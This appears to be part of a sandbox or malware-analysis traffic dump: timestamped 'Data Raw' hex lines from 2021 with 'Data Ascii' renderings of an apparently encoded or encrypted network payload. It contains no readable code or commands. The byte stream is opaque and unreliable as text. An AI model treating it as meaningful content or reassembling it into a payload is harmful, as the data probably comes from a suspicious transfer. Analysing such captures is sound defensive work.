8b c3 b4 c3 94 c3 b3 c3 82 c3 86 c3 ab c2 8a c2 ab c2 b4 c3 b7 c3 b4 c3 94 c3 a8 c3 b8 c3 b4 c3 88 c3 ad c3 86 c3 aa c3 82 c3 b9 c3 8a c2 bf c2 9c
                                                                                                                                                          Data Ascii: ;~RH<'&livhy5I{_{ZVevd~FDFLpg=90^]q%o l)rc^gZvwR_`[QB,8#l@JaV
                                                                                                                                                          2021-10-28 02:47:22 UTC535INData Raw: 2d 1c 0b 32 38 09 35 00 4a 4e 6f 3a 30 2d 13 12 15 36 2e 47 54 7e 0e 3c 40 40 54 38 03 02 03 34 0b 39 13 77 12 34 3f 69 74 2d 40 5f 71 0e 19 24 1b 29 00 67 07 1f 6b 77 33 35 3a 2b 7b 5d 6a 54 6b 5b 71 64 79 58 4d 5c 2d 0f 28 69 55 7e 73 43 7b 0d 4c 7b 6f 4e 45 57 13 14 1c 49 23 78 6d 74 5b 7b 65 4c 59 72 5b 32 72 00 23 68 33 28 56 4d 5f 65 42 6b 41 c2 97 c2 ae c2 9f c3 a4 c3 81 c3 9d c2 87 c2 b4 c2 bd c2 b5 c2 91 c3 92 c2 a9 c2 aa c2 b0 c2 aa c2 a9 c2 b5 c2 b0 c3 89 c3 a0 c3 be c2 83 c2 ab c3 8a c2 81 c2 9d c2 bb c2 bd c2 a6 c2 96 c2 89 c2 b6 c2 86 c2 97 c3 83 c3 97 c3 97 c2 b3 c2 9b c2 b8 c2 84 c2 8d c2 94 c2 ac c2 9b c2 80 c2 99 c2 b8 c2 ad c2 be c3 87 c3 af c3 8c c2 a2 c2 9a c2 99 c2 9b c2 9e c2 a8 c2 99 c2 86 c2 b8 c3 a3 c3 83 c3 ae c3 9f c3 86 c2 98
                                                                                                                                                          Data Ascii: -285JNo:0-6.GT~<@@T849w4?it-@_q$)gkw35:+{]jTk[qdyXM\-(iU~sC{L{oNEWI#xmt[{eLYr[2r#h3(VM_eBkA
                                                                                                                                                          2021-10-28 02:47:22 UTC551INData Raw: 9e c3 91 c3 a2 c3 bf c3 80 c3 b8 c3 9d c3 94 c3 84 c3 b3 c3 90 c3 9b c3 97 c3 a1 c3 bb c2 95 5c 02 26 21 2e 1b 26 10 37 2c 3c 26 23 1e 07 64 66 04 37 5f 3d 77 07 22 5d 38 1e 39 3b 3d 66 5b 64 34 1e 18 0e 0c 1e 35 6e 01 2e 05 0b 18 50 71 7b 58 68 7f 70 3c 68 0d 0d 06 0a 16 6b 0d 58 6c 22 43 00 7a 68 49 7a 4e 15 5e 53 53 4d 5d 2f 2b 29 7e 1f 06 7a 6f 77 65 7f 65 7a 42 08 79 2c 2f 63 63 4e 67 4d 7b 5f 2b 58 42 2e 5d 4f 5d 30 09 02 53 62 29 5a 51 5c 52 43 7c 5b 41 22 58 0e 04 c3 b2 c2 94 c2 ae c2 96 c2 a0 c3 be c2 a6 c2 83 c2 80 c3 89 c2 8f c3 8f c2 ac c2 8e c3 b7 c3 af c3 ad c2 83 c2 ae c3 80 c2 b9 c2 96 c2 aa c2 b5 c2 a9 c2 b7 c2 ac c2 9d c2 b6 c2 93 c3 ba c3 84 c3 9d c2 a1 c2 8f c2 8d c2 bd c2 a9 c2 a8 c2 80 c2 b5 c2 9e c2 b4 c2 81 c2 88 c2 98 c3 96 c3 ab
                                                                                                                                                          Data Ascii: \&!.&7,<&#df7_=w"]89;=f[d45n.Pq{Xhp<hkXl"CzhIzN^SSM]/+)~zoweezBy,/ccNgM{_+XB.]O]0Sb)ZQ\RC|[A"X
                                                                                                                                                          2021-10-28 02:47:22 UTC567INData Raw: a5 c3 b7 c3 9e c3 bf c3 be c3 93 c3 88 c3 86 c2 bf c3 8a c3 8e c3 a1 c3 98 c3 92 c2 ae c2 9a c2 a3 c3 9a c3 9c c3 a7 c3 8f c3 8a c3 ae c3 93 c3 8b c3 9d c3 86 c3 98 c3 99 c3 aa c2 90 c2 a8 c2 80 c3 be c3 ae c3 9f c3 94 38 2a 02 30 2a 37 2d 11 14 69 79 79 0b 3d 04 28 0f 3b 23 55 03 01 38 33 38 61 5c 18 10 20 3e 35 0b 19 00 3a 2f 03 1f 08 35 20 6e 37 2c 0d 3e 1c 3c 2f 13 08 32 69 1b 18 24 6b 4a 39 1c 0d 34 18 67 5f 60 7a 6a 77 6d 0e 7a 2c 4c 20 4b 4f 6c 5e 6a 7d 58 6b 53 51 78 7a 6d 29 2a 21 73 71 5e 7d 6e 6f 40 50 61 43 50 63 2a 22 61 11 43 28 5c 6f 58 55 48 40 5a 53 60 5d 68 0b 1a 3f 69 41 45 76 c2 a9 c2 8a c2 b7 c2 bb c2 82 c2 81 c2 b3 c2 a8 c2 b7 c2 80 c3 b6 c3 b2 c2 8b c2 a1 c2 bb c2 b5 c2 9c c2 a9 c2 b0 c2 a0 c2 a8 c2 bf c2 92 c2 94 c2 bf c3 a1 c3 9d
                                                                                                                                                          Data Ascii: 8*0*7-iyy=(;#U838a\ >5:/5 n7,></2i$kJ94g_`zjwmz,L KOl^j}XkSQxzm)*!sq^}no@PaCPc*"aC(\oXUH@ZS`]h?iAEv
                                                                                                                                                          2021-10-28 02:47:22 UTC583INData Raw: bb c3 8a c3 be c3 aa c3 a3 c3 86 c3 a3 c3 ae c3 af c3 a4 c3 bd c3 be c3 a7 c3 ad c2 bb c2 b7 c2 8d c3 a3 c3 a3 c3 ba c3 b3 c3 96 c3 bd c3 97 c3 81 c3 ba c3 8a c2 b8 c2 a8 c3 85 c2 95 c2 99 c2 98 c3 89 c3 93 c3 a8 c3 83 c3 a6 c3 87 c3 a8 c2 a8 c3 b6 c3 8d c2 b4 c3 99 c3 a4 c2 a5 c2 8f c2 87 c3 b1 c3 87 c3 8c c3 97 c2 82 c3 93 c2 b4 c3 8a c3 b4 14 27 25 36 7c 43 70 0b 39 39 2d 12 26 3f 48 56 02 32 5f 48 0a 1e 63 1c 18 28 33 20 1d 11 2d 31 12 0a 36 3f 25 6e 5b 35 1e 1b 36 35 0c 22 6c 0a 00 1c 11 2e 3d 49 4f 18 74 0c 18 1f 6d 71 63 16 66 1c 6d 76 24 34 33 76 75 7f 6e 54 71 62 57 71 41 0a 55 66 24 26 24 27 7b 0d 1e 39 1a 07 69 59 23 5f 6f 5a 10 3a 19 10 48 67 4d 5c 2e 69 7e 43 74 5f 55 55 0c 31 32 59 6e 5b 41 5e 50 4e 23 3f c3 9c c3 97 c2 a2 c2 ba c3 80 c3 a3
                                                                                                                                                          Data Ascii: '%6|Cp99-&?HV2_Hc(3 -16?%n[565"l.=IOtmqcfmv$43vunTqbWqAUf$&$'{9iY#_oZ:HgM\.i~Ct_UU12Yn[A^PN#?
                                                                                                                                                          2021-10-28 02:47:22 UTC599INData Raw: 89 c2 b2 c2 b0 c2 91 c2 9e c2 91 c3 a6 c2 bd c2 86 c2 a1 c3 b9 c2 bd c2 96 c2 91 c3 8c c3 9c c2 84 c3 94 c3 be c3 b0 c3 aa c3 81 c3 a9 c2 8b c3 be c3 9c c3 b4 c3 9e c3 a7 c3 83 c2 b2 c2 87 c2 ae c3 ad c3 aa c3 8a c3 b2 c3 a2 c3 ba c3 9d c3 a0 c3 ae c3 aa c3 a5 c3 b3 c3 bf c3 9f c2 84 c2 97 c2 90 c3 94 c3 82 c3 86 c3 81 c3 b7 c3 a8 c3 93 c3 ac c3 8b c3 91 c3 8f c2 b2 c2 a8 c2 98 c2 82 c3 a4 c3 8e c3 a6 c2 aa c3 80 c2 ab c3 91 c3 b9 c3 97 c3 be c3 95 c3 9b c3 8b c2 8e 73 73 05 33 0e 22 22 5d 2a 2d 24 39 27 04 49 68 49 60 15 23 1e 38 2c 36 2e 32 26 21 06 2b 27 6f 5f 53 25 13 2e 00 2d 2a 21 6d 04 09 07 24 22 48 69 40 35 03 3e 18 0c 16 0a 3d 2d 2f 12 1a 0e 39 28 3b 46 43 40 5f 3b 01 18 14 75 7d 65 1b 7d 3a 1a 2d 70 64 63 79 7c 49 48 7b 74 69 72 7a 67 56 10 1b
                                                                                                                                                          Data Ascii: ss3""]*-$9'IhI`#8,6.2&!+'o_S%.-*!m$"Hi@5>=-/9(;FC@_;u}e}:-pdcy|IH{tirzgV
                                                                                                                                                          2021-10-28 02:47:22 UTC615INData Raw: ab c2 9b c2 ad c2 ba c2 b8 c3 9d c2 9d c2 ac c2 9d c2 b1 c3 bd c2 a1 c2 80 c2 ba c2 b7 c2 ab c2 b7 c2 be c2 91 c2 b9 c2 b0 c2 8f c3 ac c2 a7 c2 98 c2 b3 c2 a5 c2 98 c2 81 c2 a4 c3 ac c3 98 c2 be c3 95 c3 a7 c3 a4 c2 9d c2 a2 c2 90 c3 85 c3 bb c3 82 c2 8e c2 98 c3 a8 c3 95 c3 81 c2 9e c2 97 c2 b3 c3 be c2 82 c2 8f c2 b2 c2 88 c3 98 c3 ad c3 9f c3 84 c3 9d c3 bb c3 85 c3 91 c2 b2 c2 a5 c3 b3 c2 98 c3 ab c3 9a c3 be c3 81 c3 b7 c3 9e c2 a4 c3 ae c3 9c c3 88 c3 8f c2 af c2 9d c2 99 c3 be c3 91 c3 bb c3 a3 c3 ae c3 91 c3 89 c3 80 c3 9f c2 b2 c3 8c c3 94 c2 a3 c2 be c3 a7 c3 a7 c2 8c c3 aa c2 b2 52 63 44 59 3c 03 4d 5b 41 3b 5f 0c 74 0a 2a 2e 31 35 43 0a 49 3c 06 2e 35 2c 7a 6b 66 32 5b 4d 25 3f 02 18 1c 2e 14 2f 34 6d 6d 21 49 52 1e 23 19 3d 1e 05 3c 6f 0a 2b
                                                                                                                                                          Data Ascii: RcDY<M[A;_t*.15CI<.5,zkf2[M%?./4mm!IR#=<o+
                                                                                                                                                          2021-10-28 02:47:22 UTC631INData Raw: a5 c2 b5 c2 96 c2 89 c2 a3 c2 96 c2 a1 c2 9e c3 8c c2 a2 c2 a7 c2 86 c3 8c c2 83 c3 b7 c3 b2 c3 b5 c2 a5 c2 81 c2 99 c2 b2 c2 92 c3 82 c2 9c c2 ae c2 97 c2 83 c2 a1 c2 b2 c2 b3 c3 90 c3 80 c3 94 c3 8a c2 b1 c2 b2 c3 b1 c2 b7 c2 8c c2 9a c2 8f c2 a4 c2 87 c2 a6 c2 96 c2 b2 c3 84 c3 a8 c3 84 c2 b0 c2 8c c2 98 c2 98 c2 9c c2 84 c3 ad c2 94 c2 a6 c3 94 c3 ab c3 a5 c3 a4 c2 bc c2 81 c2 ad c2 b7 c3 b2 c3 8f c3 b4 c2 a9 c3 83 c2 85 c3 ba c3 97 c3 ab c3 ab c3 96 c3 b5 c2 ac c3 96 c2 a4 c3 92 c3 86 c3 93 c3 bd c2 a7 c2 85 c3 97 c3 a2 c3 b4 c3 b0 c2 bc c2 af c3 96 c2 84 c2 93 c2 ba c2 91 c3 97 c3 9e c2 b8 c2 89 c2 b1 c3 96 c3 9d c3 84 c2 b7 c3 8c c2 a3 c3 86 c2 94 c2 86 c2 84 c3 b5 c2 ba c3 80 c3 99 c3 b5 c3 80 c3 b7 c3 88 17 05 06 5d 3c 07 62 65 0a 4b 33 30 00 31
                                                                                                                                                          Data Ascii: ]<beK301
                                                                                                                                                          2021-10-28 02:47:22 UTC647INData Raw: 47 43 7e 67 5f 4e 5a 44 5d 6a 45 5c 07 33 34 75 57 53 6e 72 4f 5e 4a 54 4d 7a 55 4c 14 c3 93 c3 84 c2 85 c2 a7 c2 a3 c2 9e c2 8d c2 bf c2 ae c2 ba c2 a4 c2 bd c2 8a c2 a5 c2 bc c3 9f c3 a9 c3 94 c2 95 c2 b7 c2 b3 c2 8e c2 98 c2 af c2 be c2 aa c2 b4 c2 ad c2 9a c2 b5 c2 ac c3 8f c3 b3 c3 a4 c2 a5 c2 87 c2 83 c2 be c3 84 c2 9f c2 8a c2 9a c2 84 c2 9d c2 aa c2 85 c2 9c c3 bc c3 b3 c3 b4 c2 b5 c2 97 c2 93 c2 ae c3 83 c2 8f c2 9a c2 8a c2 94 c2 8d c2 ba c2 95 c2 8c c3 ad c2 93 c2 84 c3 85 c3 a7 c3 a3 c3 9e c2 be c3 bf c3 aa c3 ba c3 a4 c3 bd c3 8a c3 a5 c3 bc c2 9a c2 93 c2 94 c3 95 c3 b7 c3 b3 c3 8e c2 a9 c3 af c3 ba c3 aa c3 b4 c3 ad c3 9a c3 b5 c3 ac c2 8b c2 b3 c2 a4 c3 a5 c3 87 c3 83 c3 be c3 91 c3 9f c3 8a c3 9a c3 84 c3 9d c3 aa c3 85 c3 9c c2 bb c2 b3
                                                                                                                                                          Data Ascii: GC~g_NZD]jE\34uWSnrO^JTMzUL
                                                                                                                                                          2021-10-28 02:47:22 UTC663INData Raw: 04 4a 4b 3e 3c 1e 36 04 7b 13 44 7e 6d 74 7d 6f 7c 3a 3b 36 24 03 19 79 75 5a 07 1e 79 74 79 7f 1b 3c 20 2c 5a 6a 78 43 7e 73 67 55 4b 54 49 4f 4e 0b 76 1b 78 4b 23 54 0a 4d 51 45 5b 44 5a 57 42 13 2a 28 68 42 6a c2 a4 c2 9f c2 aa c3 99 c2 bb c2 be c2 8c c2 ac c2 81 c3 84 c2 8b c3 97 c2 86 c3 a4 c3 8b c2 85 c2 b7 c3 aa c2 be c2 9d c2 aa c2 b8 c2 8a c2 bb c3 8a c2 a7 c3 8c c2 91 c3 ae c2 9a c2 aa c2 be c3 ba c2 b8 c2 8e c2 87 c2 97 c2 bc c3 a4 c2 bb c2 89 c2 9c c3 9a c3 98 c3 9e c2 8f c2 8e c2 87 c2 9a c2 89 c2 98 c2 b3 c2 96 c2 9b c2 84 c2 99 c2 9f c2 a9 c3 99 c3 b1 c3 85 c2 92 c3 be c2 b9 c3 b2 c3 8d c3 ba c3 a1 c3 b7 c3 b9 c3 bc c3 b0 c3 bd c3 99 c2 b9 c2 bb c2 b2 c3 a2 c2 83 c2 9d c3 b6 c3 b5 c2 83 c3 be c3 ac c3 93 c2 9d c2 8f c3 91 c3 88 c3 9a c2 9b
                                                                                                                                                          Data Ascii: JK><6{D~mt}o|:;6$yuZyty< ,ZjxC~sgUKTIONvxK#TMQE[DZWB*(hBj
                                                                                                                                                          2021-10-28 02:47:22 UTC679INData Raw: 37 2d 38 19 3c 0a 71 7c 52 0d 25 15 35 1b 32 15 24 25 07 1a 2b 03 5d 78 51 24 1a 0b 09 0b 11 1a 72 0c 0b 31 10 0a 41 6c 4d 14 19 0e 18 22 1d 31 18 65 77 6e 6f 68 37 25 40 5d 75 45 65 4b 60 6f 74 56 55 68 64 6f 13 2d 25 77 7a 4e 5b 5a 7d 51 4e 45 51 49 2a 45 10 17 18 1c 59 60 4c 5b 6b 55 5c 7b 41 4f 50 69 7c 06 0d 54 5e 4f 26 56 55 58 4c c3 99 c2 b6 c3 9d c2 a7 c3 9f c3 92 c2 9f c3 b6 c3 a5 c2 8b c2 a8 c2 a4 c2 82 c2 bd c2 ae c3 89 c2 a7 c2 85 c2 bc c2 b4 c2 a1 c3 a8 c3 8f c3 86 c2 9f c2 ad c2 b8 c2 b1 c2 95 c3 84 c2 a9 c2 af c3 b9 c2 ab c2 8b c2 80 c2 b9 c2 a4 c3 83 c3 8c c2 ba c2 85 c2 bf c2 8f c2 b2 c2 8d c2 b9 c2 85 c2 88 c2 87 c2 a4 c2 9f c2 a6 c3 87 c3 95 c3 a3 c3 88 c2 88 c2 97 c2 a2 c3 9e c2 a2 c3 a4 c2 84 c3 86 c2 8a c2 86 c3 a9 c2 82 c2 bb c2 9c
                                                                                                                                                          Data Ascii: 7-8<q|R%52$%+]xQ$r1AlM"1ewnoh7%@]uEeK`otVUhdo-%wzN[Z}QNEQI*EY`L[kU\{AOPi|T^O&VUXL
                                                                                                                                                          2021-10-28 02:47:22 UTC691INData Raw: 0f 58 0d 56 73 61 25 27 21 69 6d 12 75 7a 53 6c 6c 4e 57 64 49 76 17 06 15 5b 7b 40 41 60 45 4f 50 76 78 53 50 69 7c 0e 09 57 5b 2b 77 63 5d 71 79 c2 9e c2 bb c3 9c c2 ae c2 b2 c3 b1 c3 8d c3 be c2 ac c2 9e c2 ab c2 a5 c2 ab c2 b1 c2 82 c2 bf c2 ab c2 ab c2 91 c2 81 c2 95 c3 a1 c3 9d c3 ae c2 bc c2 af c2 ab c2 a9 c2 83 c2 bd c2 91 c2 9e c2 85 c2 94 c2 89 c2 aa c2 83 c3 ac c3 b6 c2 ad c3 81 c3 a8 c2 9d c2 81 c2 85 c2 87 c2 a9 c2 9b c2 92 c3 ba c2 b1 c2 90 c2 a9 c3 93 c3 b3 c3 af c2 b5 c2 89 c2 9e c3 a4 c2 b0 c2 b3 c2 9c c2 8f c3 ae c3 b7 c3 94 c3 af c3 92 c2 b7 c2 a5 c2 93 c3 9d c3 b5 c3 9f c3 b0 c3 90 c3 bd c2 9c c3 af c3 bd c3 94 c2 85 c3 a3 c3 b6 c3 92 c3 9c c2 a5 c3 9f c3 a5 c3 8f c3 87 c2 a7 c3 a0 c3 a8 c3 af c3 8e c3 93 c3 8f c3 87 c3 b9 c3 bb c2 b0
                                                                                                                                                          Data Ascii: XVsa%'!imuzSllNWdIv[{@A`EOPvxSPi|W[+wc]qy
                                                                                                                                                          2021-10-28 02:47:22 UTC707INData Raw: 77 28 29 2a 33 12 22 1c 10 11 08 48 33 47 1c 73 35 1f 3b 14 33 02 00 0c 00 09 18 28 42 14 46 74 4f 67 6c 62 78 71 77 76 7a 07 68 38 15 36 46 70 0f 7b 6d 74 08 66 66 48 60 71 42 08 0b 36 64 40 47 4c 79 48 7f 56 30 5e 47 49 5a 04 2a 0b 61 42 44 5c 69 58 2a 46 45 63 2a 5a 4a c3 b4 c3 b6 c3 a1 c2 b3 c2 82 c2 a0 c2 a3 c2 a0 c2 b4 c3 9e c2 bf c2 8d c2 aa c2 b3 c2 83 c2 b4 c3 a4 c3 b0 c3 ab c2 83 c2 a2 c2 a7 c2 8a c2 8e c2 b8 c2 96 c2 8b c2 be c2 ac c2 9a c2 b1 c2 82 c3 87 c3 a4 c3 ba c2 ac c2 9e c2 ae c2 ac c3 9a c2 91 c3 b9 c3 b7 c2 97 c2 96 c2 b4 c2 91 c3 ad c3 9b c3 96 c3 83 c2 b4 c2 80 c2 94 c2 90 c2 93 c3 a3 c2 8c c2 99 c2 85 c2 96 c3 a3 c2 90 c3 b2 c2 b4 c2 9a c2 bd c3 9d c3 a4 c3 8e c3 a7 c3 a3 c2 8e c3 92 c3 b1 c3 af c2 90 c3 96 c3 aa c3 8d c2 86 c2 a6
                                                                                                                                                          Data Ascii: w()*3"H3Gs5;3(BFtOglbxqwvzh86Fp{mtffH`qB6d@GLyHV0^GIZ*aBD\iX*FEc*ZJ
                                                                                                                                                          2021-10-28 02:47:22 UTC723INData Raw: 8d c3 a8 c3 ad 4c 22 28 2e 0c 36 0d 11 0b 26 17 02 4c 11 0e 29 23 1c 1e 2b 35 2e 10 55 20 08 3a 63 1e 5a 2b 22 30 0b 2e 0f 2e 1b 11 30 05 02 37 29 48 4f 3b 1e 25 0e 3b 6e 1e 68 60 14 78 70 1d 43 7a 40 0d 0f 4a 66 5d 7d 65 7e 40 04 66 7e 6d 3e 08 37 4c 0e 7f 0c 27 15 18 08 6a 7d 41 77 7d 23 26 2b 5b 6b 46 4b 6e 4f 41 71 58 42 32 4d 46 0f 18 3d 70 2b 26 78 67 79 5a 57 51 73 55 2a 7e 2d 1b 0f 4a 7b c2 ba c2 ac c2 8e c2 a9 c2 9e c2 99 c2 ab c2 a5 c2 a5 c2 aa c2 8e c3 8d c3 ab c3 bf c2 9f c2 8b c2 90 c2 bc c2 9e c2 bd c3 9c c2 89 c2 bb c2 b5 c2 b4 c2 af c2 9f c3 bb c3 bb c3 af c2 b1 c2 a1 c2 a0 c2 8c c2 ae c2 8f c2 b6 c2 b8 c2 8b c2 85 c2 84 c3 ba c2 ae c3 8b c3 8b c3 9f c2 a9 c2 9b c2 96 c2 99 c2 be c2 ad c2 86 c2 81 c2 9a c2 95 c2 bc c2 95 c2 8f c3 9b c3 a5
                                                                                                                                                          Data Ascii: L"(.6&L)#+5.U :cZ+"0..07)HO;%;nh`xpCz@Jf]}e~@f~m>7L'j}Aw}#&+[kFKnOAqXB2MF=p+&xgyZWQsU*~-J{
                                                                                                                                                          2021-10-28 02:47:22 UTC739INData Raw: 95 c3 bf c3 95 c3 8d c2 af c3 a8 c3 8c c3 98 c3 b3 c3 8c c3 8b c3 a9 c3 91 c3 89 c2 81 c2 ad c2 8e c3 af c2 bc c3 9a c3 9c c3 88 c3 bf c3 ba 36 17 34 05 2e 23 5a 5d 7e 26 38 1f 25 6f 57 06 2a 2f 16 2d 31 20 66 64 6a 0d 26 14 05 17 38 17 34 0d 10 0d 03 00 56 3e 30 5e 6f 21 09 24 12 3b 29 1f 10 18 3d 29 37 40 4a 3e 0a 31 11 07 16 77 74 6c 56 4b 63 70 3a 11 3f 4b 79 4b 66 41 66 6e 6b 57 11 4f 63 72 2e 3d 21 7b 6e 56 58 63 6e 0b 3d 21 21 75 48 70 2f 17 12 46 2e 7f 6c 43 42 65 4e 66 54 75 56 79 03 07 09 67 3f 5e 72 61 41 2d c2 b0 c2 b6 c2 b7 c3 95 c2 87 c2 a9 c3 94 c3 ba c3 b7 c2 b5 c3 94 c2 81 c3 8c c2 8d c2 b7 c3 83 c3 8d c2 96 c2 82 c2 bd c2 a2 c2 89 c3 84 c3 bc c3 a3 c2 9e c2 ae c2 bc c2 bf c2 81 c2 80 c2 9b c2 90 c2 8f c2 90 c2 8d c2 83 c3 a7 c3 b5 c3 ba
                                                                                                                                                          Data Ascii: 64.#Z]~&8%oW*/-1 fdj&84V>0^o!$;)=)7@J>1wtlVKcp:?KyKfAfnkWOcr.=!{nVXcn=!!uHp/F.lCBeNfTuVyg?^raA-
                                                                                                                                                          2021-10-28 02:47:22 UTC755INData Raw: 90 c3 9d c3 a4 c3 9b c3 b1 c3 8e c3 a0 c3 b9 c3 a6 c3 a1 c3 ae c3 b4 c3 b1 c3 82 c2 a6 c2 8b c3 a8 c3 8a c3 b6 c3 83 c3 8c c3 be c3 88 c2 bb c3 9d c3 8e c3 98 c3 a8 c2 a7 c3 8e c2 83 c2 80 c2 8d c2 87 c3 88 c3 8e c3 9c c3 9e c3 92 c3 9c c3 81 c3 bd c2 bf c3 a5 c3 b3 39 60 08 66 75 3a 51 2e 04 29 21 4e 22 3f 2c 23 03 61 0b 66 03 31 3c 3d 14 3c 1e 0b 32 2f 30 38 62 4a 41 51 23 11 07 05 0c 70 3e 32 12 1b 28 07 16 43 52 49 21 09 39 1a 1c 15 30 05 01 0d 00 2e 67 39 1c 35 48 76 66 66 61 79 6d 71 71 67 70 6a 65 21 21 21 6a 10 64 57 41 71 56 68 72 6f 75 56 62 65 18 68 0d 20 68 40 71 51 61 54 69 4b 76 62 4b 09 2c 05 78 45 7d 55 5f 46 4e 48 40 47 62 5f c2 9c c2 86 c3 b9 c3 b2 c2 83 c2 b5 c2 b0 c2 96 c2 b2 c2 ad c2 8d c2 bc c2 a9 c2 b8 c2 96 c2 ab c2 a5 c3 a1 c3 a1
                                                                                                                                                          Data Ascii: 9`fu:Q.)!N"?,#af1<=<2/08bJAQ#p>2(CRI!90.g95Hvffaymqqgpje!!!jdWAqVhrouVbeh h@qQaTiKvbK,xE}U_FNH@Gb_
                                                                                                                                                          2021-10-28 02:47:22 UTC771INData Raw: 8c c2 b9 c2 8b c3 a7 c3 a7 c3 b5 c3 a7 c3 ae c3 b6 c3 a8 c3 b9 c3 9d c3 9f c2 8b c2 ab c2 bb c2 bf c3 89 c3 b7 c3 89 c3 b7 c3 a5 c3 bf c3 9e c3 ad c3 a1 c3 a7 c3 a6 c3 98 c3 b8 c2 bf c2 87 c2 a2 c2 af c3 af c3 aa c3 8e c2 98 c3 89 c3 85 c3 9e c3 a0 c3 a3 c3 92 c2 bb c3 b8 c2 ad c2 9b c2 9f c3 bb c3 96 c3 a0 c3 a3 c3 90 c3 ae c2 af c3 b3 c3 b4 c3 97 c3 a4 c3 9e c3 8f c2 8f c2 a9 c3 b9 c3 8f 46 34 59 1d 24 28 18 2f 3a 24 25 15 68 0f 64 66 1d 25 2a 1b 3c 37 25 2b 22 02 3a 28 68 46 67 0b 07 06 66 28 15 31 05 09 1a 05 00 28 58 78 65 3b 17 16 76 38 0a 31 15 19 0a 15 10 38 48 66 43 2d 66 60 60 43 78 73 65 07 43 73 7d 7a 3c 3e 3c 60 15 67 5e 4d 74 07 6a 7d 6e 5c 7e 1b 2e 2d 24 54 25 57 6e 7d 49 48 52 4d 5e 61 76 68 08 36 68 06 2a 3d 36 11 32 39 2b 59 4a 54 55 46
                                                                                                                                                          Data Ascii: F4Y$(/:$%hdf%*<7%+":(hFgf(1(Xxe;v818HfC-f``CxseCs}z<><`g^Mtj}n\~.-$T%Wn}IHRM^avh6h*=629+YJTUF
                                                                                                                                                          2021-10-28 02:47:22 UTC787INData Raw: a1 c2 a1 c2 9b c2 9d c3 b5 c2 ae c2 bd c2 ab c3 b7 c2 8f c2 94 c2 96 c2 96 c2 93 c3 82 c3 93 c3 8c c2 be c2 8e c2 99 c2 96 c2 b1 c2 94 c3 a9 c3 9c c3 8f c3 a6 c3 b5 c3 a3 c3 b0 c2 b6 c2 b4 c2 ba c3 8e c3 be c3 a9 c3 a6 c3 81 c3 a0 c3 80 c3 96 c3 a7 c3 b6 c3 98 c3 9e c3 ad c3 95 c2 81 c2 9b c3 85 c3 88 c3 b9 c3 b6 c3 91 c3 b4 c2 89 c3 a3 c3 ad c3 96 c3 af c3 83 c3 90 c2 96 c2 94 c2 9a c3 ae c3 9e c3 89 c3 86 c3 a1 c3 80 c3 a0 c3 b6 c3 87 c3 96 c3 b8 c3 be c3 8d c3 b5 c2 b5 c2 bc c3 a5 c3 98 c3 bb c3 96 c3 b1 c3 94 56 02 0e 37 3d 0d 33 77 7b 7b 00 10 2d 13 19 11 32 22 3c 21 3a 32 23 67 6b 6b 3d 39 4e 1e 09 44 16 25 2e 17 7e 2d 13 57 5b 5b 20 30 01 74 39 31 12 02 1c 01 1a 12 03 47 4b 4b 1d 19 6e 3e 29 64 76 45 4e 03 71 4d 79 45 12 0e 6e 7f 6e 67 42 65 06 13
                                                                                                                                                          Data Ascii: V7=3w{{-2"<!:2#gkk=9ND%.~-W[[ 0t91GKKn>)dvENqMyEnngBe
                                                                                                                                                          2021-10-28 02:47:22 UTC803INData Raw: a1 c2 93 c2 a1 c2 b4 c2 bd c2 94 c2 b5 c2 bd c3 82 c2 b2 c2 85 c2 b0 c2 bb c2 95 c3 91 c3 91 c3 91 c2 a3 c2 91 c2 84 c2 8d c2 a4 c2 81 c2 88 c2 98 c2 82 c2 9f c2 80 c2 88 c2 85 c3 81 c3 81 c3 81 c2 b3 c2 81 c2 94 c2 9d c2 b4 c2 91 c2 98 c2 88 c2 92 c2 8f c2 90 c2 98 c3 b5 c2 b1 c2 b1 c2 b1 c3 83 c3 b1 c3 a4 c3 ad c3 84 c3 a1 c3 a8 c3 b8 c3 a2 c3 bf c3 a0 c3 a8 c3 a5 c2 a1 c2 a1 c2 a1 c3 93 c3 a1 c3 b4 c3 bd c3 94 c3 b6 c3 b8 c3 a8 c3 b2 c3 af c3 b0 c3 bb c3 95 c2 91 c2 91 c2 91 c3 85 c3 91 c3 84 c3 8d c3 a4 c3 81 c3 88 c3 98 c3 82 c3 9f c3 80 c3 88 c3 85 c2 81 c2 81 c2 81 c3 b3 c3 81 c3 94 c3 9d c3 b4 c3 91 c3 9b c3 9a c3 91 c3 a5 c3 90 24 34 72 70 76 30 23 50 20 15 22 2d 3f 23 3c 22 27 56 54 6b 66 12 32 35 32 15 3a 3c 59 33 06 31 04 14 52 50 56 22 12 05
                                                                                                                                                          Data Ascii: $4rpv0#P "-?#<"'VTkf252:<Y31RPV"
                                                                                                                                                          2021-10-28 02:47:22 UTC819INData Raw: 23 05 6d c2 92 c2 a3 c2 a8 c2 8f c2 a8 c2 a8 c2 b6 c2 bc c2 be c2 82 c2 8a c2 ab c3 96 c2 86 c3 9b c2 9c c3 95 c2 9e c2 b1 c2 8a c2 9a c2 b7 c2 a5 c2 b9 c2 aa c2 b4 c2 b8 c2 be c3 b8 c3 97 c3 a5 c2 81 c3 a4 c2 88 c2 9d c2 bf c2 9b c3 bf c2 98 c2 9a c2 8d c2 aa c2 95 c2 9e c3 9c c3 9e c3 9c c2 b8 c3 b5 c2 94 c2 94 c2 ac c3 ac c3 af c2 81 c2 8a c2 9d c2 9b c2 9d c2 8e c3 8c c3 8e c3 8c c2 b8 c3 b4 c3 a3 c3 a8 c3 8f c3 a8 c3 a8 c3 b6 c3 bc c3 be c3 82 c3 8a c3 b2 c3 8d c2 ad c2 bb c3 9c c2 94 c2 8a c3 81 c3 93 c3 a9 c3 bf c3 a5 c3 b9 c3 aa c3 b4 c3 b8 c3 be c2 b8 c2 97 c2 a5 c3 81 c3 af c3 8c c3 8c c3 bc c3 9b c3 8b c3 95 c3 89 c3 9a c3 87 c3 8d c3 9e c2 9c c2 9e c2 9c c3 b8 c2 b5 c3 94 c3 94 c3 ac c2 ac c2 af c3 81 c3 8a c3 9d c3 98 c3 85 c3 8e c2 8c c2 8e
                                                                                                                                                          Data Ascii: #m
